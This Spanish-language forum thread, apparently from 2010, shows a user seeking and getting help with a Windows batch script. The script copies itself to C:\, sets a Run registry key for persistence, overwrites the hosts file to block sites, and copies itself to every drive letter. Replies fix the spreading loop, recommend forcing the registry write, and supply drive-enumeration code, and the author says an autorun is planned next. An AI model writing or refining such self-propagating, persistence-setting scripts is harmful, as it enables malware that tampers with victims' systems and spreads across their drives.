esta bien mi bat?

Iniciado por Norlak, 21 Septiembre 2010, 20:17 PM

0 Miembros y 1 Visitante están viendo este tema.

Norlak

copy %0 C:\

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v hola.bat  /d c:\hola.bat /f

echo 127.0.0.1   www.xxx.com > C:\WINDOWS\system32\drivers\etc\hosts
echo 127.0.0.1   www.fotolog.com >> C:\WINDOWS\system32\drivers\etc\hosts

for %%x in ("B", "C", "D", "E", "F", "G", "H", "I", "J", "K") do (copy /y %0 "%%~x:\")
bueno basicamente es eso, lo que e hecho, lo unico que hace es cambiar el fichero Hosts , que es para capar el acceso a las paginas pero sinceramente no tengo ni idea si esta bien eso o no, otra de las cosas que he exo es atraves del comando for ( gracia a la ayuda prestada por los miembros de este foro)
es que dicho bat se copie. si alguien se pudiera tomar la molestia de mirarlo y decirme que tal se lo agradeceria, porque, una vez tenga esto completo quiero tambien intentar hacer un autorun, pero bueno eso son palabras mayores XD

un saludo y de nuevo gracias.

bueno si me pueden ayudar se lo agradeceria muchisimo. gracias por adelantado ;D
Rectificar es de sabios, aprende de tus errores para ser alguien mejor.

-=[ §ÂßÂÑÐØ ]=-

Creo que eso no se puede hacer, puedes hacer para meter la letra de unidad que quieres en una variable,y luego hacer la copia, pero no un comodin para todas las letras de unidad.
SALUDOS DE -=[ §AßAÑÐØ ]=-






Ari Slash

aquihay un post de hace unos años el cual carlitos.dll creo un bat para detectar las unidades extraibles conectadas

hechale un vistazo
http://foro.elhacker.net/printpage.html;topic=218760.0

para las demas dudas el foro esta lleno de informacion


saludos

Norlak

Cita de: -=[ §ÂßÂÑÐØ ]=- en 21 Septiembre 2010, 20:35 PM
Creo que eso no se puede hacer, puedes hacer para meter la letra de unidad que quieres en una variable,y luego hacer la copia, pero no un comodin para todas las letras de unidad.

Gracias por contestar, y por tu información, aun así seguire buscando y si encuentro algo te lo are saber.

un saludo :laugh:
Rectificar es de sabios, aprende de tus errores para ser alguien mejor.

Norlak

Cita de: Ari-Slash en 21 Septiembre 2010, 20:37 PM
aquihay un post de hace unos años el cual carlitos.dll creo un bat para detectar las unidades extraibles conectadas

hechale un vistazo
http://foro.elhacker.net/printpage.html;topic=218760.0

para las demas dudas el foro esta lleno de informacion


saludos

gracias, esta muy bien ese codigo, pero no es eso exactamente lo que buscaba aun asi gracias por el aporte porque esta muy bien el "progamita"



Saludos.
Rectificar es de sabios, aprende de tus errores para ser alguien mejor.

xassiz~

Código (dos) [Seleccionar]

for %%x in ("A", "B", "C", "D", "E", "F") do (copy /y %0 "%%~x:\")

Lee sobre for.

Y a tu código del REG ADD, añádele el parámetro /f para sobreescribir.

Norlak

Cita de: pablomi en 21 Septiembre 2010, 21:52 PM
Código (dos) [Seleccionar]

for %%x in ("A", "B", "C", "D", "E", "F") do (copy /y %0 "%%~x:\")

Lee sobre for.

Y a tu código del REG ADD, añádele el parámetro /f para sobreescribir.

muchisimas gracias de verdad, cuando lo tenga terminado lo mostrare para que veais que es lo que he echo,

luego probare lo que me as dicho y de nuevo muchas gracias por contestar.


saludos ;-)
Rectificar es de sabios, aprende de tus errores para ser alguien mejor.

modubat

Con esta función que codee obtienes las unidades luego ya es fácil, puedes usar copy xcopy o robocopy y un for

Código (dos) [Seleccionar]
@ECHO OFF
CALL :VOLS
FOR /F "DELIMS== TOKENS=2" %%A IN ('SET VOL') DO ECHO.%%A
PAUSE>NUL
EXIT

======================================================================================

:: Carga en variables del tipo VOL1, VOL2, VOL3... las unidades del disco duro
:: Si sólo se quiere el nombre de la unidad y no la descripción cambiar "*" por "1".
:: Sin argumentos

:VOLS

:: Empezamos el contador
SET/A CONT=0
::
:: Obtemos las unidades con Wmic
FOR /F "SKIP=1 TOKENS=*" %%A IN (
'"WMIC LOGICALDISK GET CAPTION, DESCRIPTION"'
) DO (
:: Aumenta el contador
SET/A "COUNT+=1"
:: Declaramos las variables
CALL SET "VOL%%COUNT%%=%%A"
)
EXIT/B

======================================================================================


Norlak

Cita de: modubat en 22 Septiembre 2010, 19:27 PM
Con esta función que codee obtienes las unidades luego ya es fácil, puedes usar copy xcopy o robocopy y un for


muchas gracias por ayudarme enserio, cuando lo acabe os lo enseño y gracias

Rectificar es de sabios, aprende de tus errores para ser alguien mejor.